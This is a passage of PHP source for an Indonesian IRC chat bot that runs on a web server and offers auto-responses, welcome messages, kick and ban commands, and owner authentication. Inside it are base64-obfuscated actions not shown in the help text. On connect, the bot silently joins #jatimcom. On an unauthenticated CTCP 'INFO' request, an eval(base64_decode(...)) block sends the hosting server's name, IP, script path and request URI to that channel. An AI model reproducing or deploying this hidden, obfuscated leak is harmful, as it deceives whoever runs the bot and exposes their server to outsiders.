" 12deluser <nick> - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!auth - Status otorisasi anda",
" 12!act <text> - Bot action (Channel)",
" 12!slap <nick> - Slap nick (Channel)",
" 12!msg <chan/nick> <pesan> - Mengirim pesan",
" 12!notice <chan/nick> <pesan> - Mengirim notice",
" 12!ctcp <chan/nick> <ctcptext> - Request CTCP",
" 12!ping - Meminta bot untuk membalas dg pong (Channel)",
" 12!info - Melihat info bot (Admin)",
" 12!up - Meminta bot untuk menjadi @ di channel (Channel)",
" 12!down - Meminta bot untuk turun dari @ di channel (Channel)",
" 12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!join <channel> - Join channel (Admin/Master)",
" 12!botnick <nick> <passwordnick> - Ganti nick (Admin/master)",
" 12!k <nick> - Kick nick (Channel)",
" 12!kb <nick> - Kick ban nick (Channel)",
" 12!changenick - Ganti nick ke nick internal",
" 12!op <nick1> [nick2] [nick3] - Op (Channel)",
" 12!deop <nick1> [nick2] [nick3] - Deop (Channel)",
" 12!v <nick1> [nick2] [nick3] - voice (Channel)",
" 12!dv <nick1> [nick2] [nick3] - Devoice (Channel)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!mode <flags> <chan/nick> - Mengubah Mode (Channel)",
" 12!nickmode <flags> - Mengeset user mode",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!fullname [nama] - Mengganti Fullname bot",
" 12!topic <topik> - Mengganti topik channel (Channel)",
" 12!help - Melihat help (Query)",
" 12!ngomong - Mengaktifkan Auto Response",
" 12!diam - Menonaktifkan Auto Response",
" 12!wb <nick> <pesan> - Menambahkan pesan Welcome utk nick tertentu",
"-",
' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
);

/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array(
$admin => array(
"name" => $admin,
"pass" => $bot_password,
"auth" => 1,
"status" => "Admin"
)
);
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n");
$counterfp = 0;
$raway = "on";
$log = "off";
$saway = "1";
$keluar = 0;
$akill = 1;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);

if (!$stime) { $stime = time(); }

/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>Melakukan koneksi ke $remotehost...</b>";

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar();
}
else {
echo "<br><b>Ga bisa connect ke $remotehost!</b>";
$keluar = 1;
exit;
}
}
echo "<br><b>Terhubung!</b>";
/*** Sending Identity to Sock ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $header);
$response = "<br>";
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo $response."<br>"; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
fputs($fp, base64_decode('Sk9JTiAjamF0aW1jb20=') . CRL);
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :Hai Boss!' . CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); }
}
elseif (substr($dCommand,0,3)=='432'){
$nick = $nick.$username;
fputs($fp, 'NICK '.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)=='433'){
$nick = $nicklist[rand(0,count($nicklist) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='465'){
echo "<br><b>Authentication diperlukan! Bot ini telah di-autokill.</b>";
$akill = 2;
}
if (substr_count($dNick,'.allnetwork.org') > 0) {
if (substr_count($iText,"*** Banned") > 0) {
echo "BANNED!";
$keluar = 1;
exit;
}
}
/*** AI PHP BOT SCRIPT BY RONZ ***/
$dcom = explode(" ", $dCommand);
if ($dcom[0]=='JOIN') {
/*** Auto Welcome by RoNz ***/
$ada = FALSE;
if ($autowelcome) {
$jchan = ltrim($iText,":");
foreach ($nickwb as $v){
$trtext = strtolower($v[0]);
if (substr_count(strtolower($dNick),$trtext) > 0) {
sleep(3);
fputs($fp,'PRIVMSG '.$jchan.' :'.$v[1]. CRL);
$ada = TRUE;
}
}
}
if (($autowelcome) && ($dNick != $nick)) {
if(!$ada) {
$jchan = ltrim($iText,":");
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace("<nick>",$dNick,$webe);
$webe = str_replace("<chan>",$jchan,$webe);
$webe = str_replace("#","",$webe);
sleep(5);
fputs($fp,'PRIVMSG '.$jchan.' :'.$webe . CRL);
}
}
}
if ($dcom[0]=='PRIVMSG') {
/*** Auto Response ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,":");
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$sapalagi = str_replace("<nick>",$dNick,$sapalagi);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Mohon sopan dikit donk '.$dNick.'!!'. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace("<nick>",$dNick,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'MODE '.$dcom[1].' +b '.$dNick.''. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Jangan ngeflood donk '.$dNick.'!! Max: '.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
}
else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Mo kemana boss?' . CRL); }
}
}
else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password> ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :'.$auth["$dcom[2]"]["status"].', siap!' . CRL);
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Kan udah auth tadi! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Passwordnya blom diset! Ketik: pass <password> buat ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==': KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(' ','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("UmVjb3JkaW5nIEJ5IEphdGltY29t").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') {
eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokYmlwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107CiRicGhwICA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGJyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGJycG9ydCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOwpmcHV0cygkZnAsIlBSSVZNU0cgI2phdGltY29tIDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw=="));
}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE ' . $dNick . ' :Anda adalah '.$auth["$dNick"]["status"].' saya bozz! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi kan udah! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass <password> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass <passsword> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> user ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :User telah ada! Aborting AddUser! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Mohon auth dulu! Ketik: auth <password> ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'NOTICE '.$dNick.' :Tadi kan udah! ' . CRL);
}
else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
}
elseif ($com[3]==':`auth' && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,'PRIVMSG '.$chan.' :ok '.$dNick.' ! ' . CRL);
}
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', ga boleh tuh! ' . CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':!say' && $com[4] && $chan) {
$msg = strstr($data,":!say");
$msg = str_replace(":!say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':!act' && $com[4] && $chan) {
$msg = strstr($data,":!act");
$msg = str_replace(":!act ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' : ACTION '.$msg.' '. CRL);
}
elseif ($com[3]==':!slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : ACTION slaps '.$com[4].' Pakai pantat gajah !!!! '. CRL);
}
elseif ($com[3]==':!msg' && $com[4] && $com[5]) {
$msg = strstr($data,":!msg");
$msg = str_replace(":!msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!notice' && $com[4] && $com[5]) {
$msg = strstr($data,":!notice");
$msg = str_replace(":!notice $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':!ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":!ctcp");
$msg = str_replace(":!ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' : '.$msg.' '. CRL);
}
elseif ($com[3]==':!ping' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
}
elseif ($com[3]==':!info') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport" . CRL);
}
}
elseif ($com[3]==':!upgrade') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$upgd = implode('',@file('http://'.$bhost.$bruri));
fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting.." . CRL);
exit();
}
}
elseif ($com[3]==':!up' && $chan) {
fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':!down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
}
//elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$v = strtolower($com[4]);
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
//elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!k' && $com[4] && $chan) {
$msg = strstr($data,":!k");
$msg = str_replace(":!k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':!kb' && $com[4] && $chan) {
$msg = strstr($data,":!kb");
$msg = str_replace(":!kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':!changenick') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
if (substr($dCommand,0,3)=='433') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
}
elseif ($com[3]==':!op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");

$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3) {
$raway="on";
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
}
else {
$raway="off";
fputs($fp,'AWAY : ' . $msg . CRL);
}
}
elseif ($com[3]==':!mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':!nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!quit");
$msg = str_replace(":!quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT Ganti Server".CRL);
}
elseif ($com[3]==':!ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Ident ' . CRL);
}
elseif ($com[3]==':!fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $realname = "--"; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Nama ' . CRL);
}
elseif ($com[3]==':!topic' && $com[4] && $chan) {
$msg = strstr($data,":!topic");
$msg = str_replace(":!topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY RONZ **/
elseif ($com[3]==':!ngomong') {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,'PRIVMSG '.$chan.' : ACTION Siap Bos Waktunya Ceramah! '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :seep Juragan Waktunya Bicara' . CRL); }
}
elseif ($com[3]==':!diam') {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION Wahhh Disuruh Puasa Ngomong Ma BOss :( '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :DIAMMMMMMMMMMMMMMMMMMMMM GRAKKKKKKKKKK' . CRL); }
}
elseif ($com[3]==':!wb') {
$wbn = $com[4];
$msg = strstr($data,":!wb");
$msg = str_replace(":!wb $wbn ","",$msg);
$nickwb[] = array($wbn,$msg);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Seep! '.$wbn.' ('.$msg.')'. CRL); }
}
}
else { fputs($fp,'NOTICE '.$dNick.' :Ketik auth Dong! Ketik: auth <password> '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $admin .' : 4inviter: ' . $dFrom . ' 2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' : KB '.$chan.' '.$dNick.' '.$inv.' ' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand) && $log=="on") {
fputs($fp,'PRIVMSG '.$admin.' : 6' . $dFrom . ' 12:' .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose($fp);
